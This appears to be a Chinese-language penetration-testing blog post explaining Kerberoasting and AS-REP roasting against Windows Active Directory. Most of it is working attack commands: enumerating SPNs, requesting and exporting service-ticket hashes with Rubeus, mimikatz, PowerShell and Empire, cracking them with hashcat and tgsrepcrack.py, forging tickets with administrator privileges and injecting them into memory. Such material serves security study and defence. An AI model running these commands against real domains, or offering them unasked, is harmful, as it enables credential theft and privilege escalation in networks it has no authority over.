kerberoast && as-reproast

作者: const27 分类: All,内网 发布时间: 2020-09-27 15:11

Refer:https://xie1997.blog.csdn.net/article/details/105076459

kerberoast

Kerberoast攻击原理: 攻击者从 TGS-REP 中提取加密的服务票证。 由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码

How to get SPN

如何得到域中的所有SPN?

1.setspn
很简单,只需执行

setspn -q */*

即可

2.kerberoast工具集的GetUserSpns powershell脚本

How to get HASH

如何得到hash?
有如下方法

1.Rubeus.exe

这个工具github上就有,但是clone下来后需要自己编译成exe.

然后执行 Rubeus.exe kerberoast指令即可

2.mimikatz

mimikatz真的神器。
通过命令 kerberos::ask /target:你所指定的SPN,

即可通过认证的方式得到一个ST。
然后我们在kerberos::list里可以看到我们想要的ST

3.powershell

越来越发现powershell在域渗透中的重要性了
输入以下指令,即可完成HASH获取

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MySQL/win7.xie.com:3306/MySQL"

然后mimikatz导出即可

How to export hash

获得了ST票据,但怎么导出?

1.mimikatz

导出所有票据

可以发现生成了kirbi文件。这就是我们所需要的hash了

2.Empire Powershell 框架

github:https://github.com/EmpireProject/Empire

我们通过这个框架可以导出hashcat格式的hash.

Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat

How to crack HASH

如何破解HASH?

1.HASHCAT

这个工具需要让hash格式为hashcat模式才能进行破解。kribi文件不能放入hashcat进行破解.

hashcat -m 13110 pass.txt hash.txt

2.kerberoast中的tgsrepcrack.py

支持kribi文件破解

python3 tgsrepcrack.py pass.txt xxx.kribi

How to use Kerberoast

既然我们都把ST的加密hash都破解了,那么我们就可以随便改ST中的票据内容了..\ 这里使用的是kerberoast工具集里的kerberoast.py

python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
## 将票据权限改为administrator
kerberos::ptt PENTESTLAB.kirbi  #将票据注入到内存

AS_REP Roast

较Kerberoast来说,比较鸡肋。
它的原理是在不开启kerberos预身份验证的前提下,获得其他用户的AS_RES,并破解加密session key 的 client hash。

How to get HASH

1.Rubeus

Rubeus.exe asreproast

然后就会搜索域中不需要kerberos预验证的用户,并获得ASREP。

2.Empire框架与 ASREPRoast.ps1

使用Empire框架下的powerview.ps1查找域中设置了 “不需要kerberos预身份验证” 的用户

Import-Module .\powerview.ps1
 Get-DomainUser -PreauthNotRequired

然后用 ASREPRoast.ps1 :https://github.com/HarmJ0y/ASREPRoast 获取指定用户的AS-REPhash

Import-Module ASREPRoast.ps1
Get-ASREPHash -USER xx -Domain xx |Out-file -Encoding ASCII hash.txt

就会生成一个hash数据文件了

How to crack hash

将生成的HASH保存起来,并在下图处加入$23

然后丢给hashcat 跑

hashcat -m 18200 hash.txt pass.txt

注意这里的pass.txt是自己的明文字典…之前我还一直以为是爆破出来的结果.
原来是一个一个的用明文字典去爆破。

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

Leave a Reply

Your email address will not be published. Required fields are marked *

标签云